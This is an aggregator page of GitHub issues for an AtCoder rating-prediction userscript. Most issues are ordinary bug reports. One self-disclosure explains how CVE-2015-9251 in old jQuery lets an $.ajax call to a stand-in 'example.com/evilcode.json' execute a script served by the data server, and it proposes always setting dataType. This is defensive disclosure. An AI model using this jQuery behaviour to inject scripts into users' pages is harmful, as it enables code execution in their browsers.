Git Product home page Git Product logo

ac-predictor.user.js's People

Contributors

dependabot[bot] avatar key-moon avatar kmyk avatar

Stargazers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar

Watchers

 avatar  avatar  avatar

ac-predictor.user.js's Issues

過去のコンテストでのデフォルトパフォーマンスがおかしい

ここに記されている通り、新ABCを境にデフォルトAPerfが変更されている。過去コンテストでもこのデフォルト値を使っているため、予測が狂う。
その変更と同時にデフォルトパフォーマンスのデータを配信しない実装に切り替えたため、predictor稼働前の過去データを現在の手法で補完するまで問題が顕在化しなかった。

「お気に入りのみ」にした時に順位表が崩れる

画像の通り。
image

コミット c826d0a で削除されたチェックを戻せば良い

この時不要だと勘違いしたのはリロードした直後しかチェックしていなかったから。
predictorロード前のまだ追加カラムが描画されていない時はcolspanが通常通りだからであり、predictorロード後に生成された長カラムは長いまま。そのためバグる。

Vue順位表によって壊れた

概要

順位表がvueで書き直された。

AtCoderの順位表をvueでがっつり書き直したので、バグってるところがあるかもしれません。なんか仕様が変わってるところがあったら、それは仕様ではなくバグです。
2019年10月26日

image
image
エラーを見る限りではHTMLの構造が変わってMutationObserverの登録でコケてそう?

機能を絞ってコンパクトにしてほしい

レーティング予測機能は便利に使わせてもらっています (ありがとうございます)。
しかし AtCoder 上で動く UserScript であって順位表に何列か追加するだけのものに「2200 行を越えていてかつ活発に更新される (しかもなにやら外部の独自のサーバと通信をしている)」というのはなにか不安感があります。もうすぐ黄色になるレベルの人が「意図的に提出などを外部に送信したりしている」とはあまり考えられないとしても、あまり気分のよい状態ではありません。
ですので、本質的でない機能を削ったりコンパイルオプションを調整したりして、最終的な ac-predictor.user.js の容量をまともな大きさまで減らしてほしいです。

とりあえずは #24 に書いてある方向を進めて「レート変化の予測をするだけの UserScript」と「お遊び機能が詰まったサイドメニューを追加する UserScript」とに分割されるとよいなと思っています。
よろしくお願いします。

Sidemenuの機能オンオフ

Estimatorだけ使いたい人とかがいるため。
また、これができるとお遊び俺得要素を大量に追加できる。

順位表上で同順位同レートの人の遷移が混ざる

概要

コンテスト終了後において、同順位の人で同じレートの人が居た場合、その人達のレート遷移が入れ替わる可能性がある。(参加回数によって同レートからも遷移が変わるため。)
これは特に0完でレートが一桁台の人が条件を満たしやすい。

Edgeで動かない

Edgeにインストールした際にSyntax errorを吐いて動かなくなる

特定外部サーバーに配置されたコードを実行させられる

概要

脆弱性CVE-2015-9251によって、データ配信サーバーに配置されたスクリプトをUserScriptと同権限で実行させることが可能である。
ここでのデータ配信サーバーとは、パフォーマンス推定に必要な情報を配信する外部サーバーである。

CVE-2015-9251の概要

jquery 3.0.0 以前に存在するXSSの脆弱性である。
example.com/evilcode.jsontext/javascriptコンテンツヘッダをつけて配信されるスクリプトが存在した場合、$.ajax("//example.com/evilcode.json")を実行することによってそのスクリプトが実行される。
これは、$.ajax({ url: "//example.com/evilcode.js", dataType: "json" })のように明示的にdataTypeを指定することによって回避が可能である。

発生の条件

コンテストページにアクセスした際に/api/aperfs/${contestScreenName}へデータ取得が発生する。もしレスポンスが悪意のあるものであった場合、そのコードが実行される。

過去の被害・これからの影響

現状データ配信サーバーの管理者は私である。そのため、私が攻撃を行う、又はデータ配信サーバーが乗っ取られない限りは攻撃は発生しない。今までそのような形跡はない。

対処

JQueryのバージョンを上げる

AtCoder側のjqueryを流用しているため、これは不可能である。

全てのリクエストにdataTypeを指定する

指定忘れが発生する可能性もあり、あまり行うべきではない。

dataTypeを常に指定するラッパを用意する

現在全てのajaxリクエストはatcoder-libsを通じて行っているため、そこに用意すれば良い。

終了後のUnratedコンの扱いがおかしい

概要

Unratedになったコンテストは特殊扱いしているが、APerf追加かRated順位あたりがバグっているはず。(abc126では自分の推定パフォが2400だったと記憶しているが、低いパフォが出ている)

スクリプトの一部を分離する

#26 で上げられている通り、汎用的なライブラリを分離するべき。

考慮すべき事項

  • /libs内に存在するもの全てを分離してよいか
  • Sidemenuは上と他ファイルに分離するべきか
  • Estimatorを別スクリプトとして発行するべきか
  • 神ライブラリにしてよいか(複数ライブラリに分割すべきではないか)
  • リポジトリをどうするべきか

コンテスト終了後、同じ順位の人のレート変動表示が混ざる

概要

/result/jsonから取得している時、必ずしも順位表通りに並んでいるわけではない。(特にこれは0完の場合に顕著)
image

対応策

順位表と同じく、レート順にソートして上から取る。その場合同じレートの人が同じ順位を取ると破滅するが、特に顕著な0完の場合は大いにあり得る。この場合は識別子がないためどうしようもないため、妥協

ABC129の救済措置中にUnratedが大量に発生する

概要

以下の通り。
image

原因

FixedResultのコンテスト中垢消し判定が壊れるのが原因。どこかで何らかの影響により不整合が起きた場合その後にも波及してしまう。
この状態はロバストネスに欠けるため、修正をするべき。

順位表でのレート変化予測がおかしい

レート変化予測は現状3種類くらいある

①コンテスト中レート予測

これは大丈夫

②コンテスト後レート予測

ヤバい

何がヤバい

レート変化予測には「変化前のレート、パフォ、参加回数」が必要
/standings/jsonCompetitionsはコンテスト開催当時の参加回数ではないので、こわれる

どうする

/results/jsonなるものがある これを使う(ズルっぽいけど仕方ない)

③Unratedコンテストレート予測

もっとヤバい

何がヤバい

Unratedなので/results/jsonもない→どうしようもない

どうする

そもそもレート変化を表示しなければいい(!)
現状レート変化の表示条件が「Ratedか」で、これはパフォの計算にも使われているので変えられない。
なので、コンテスト全体がUnratedかどうかを別の場所で持っておく

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    🖖 Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. 📊📈🎉

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google ❤️ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.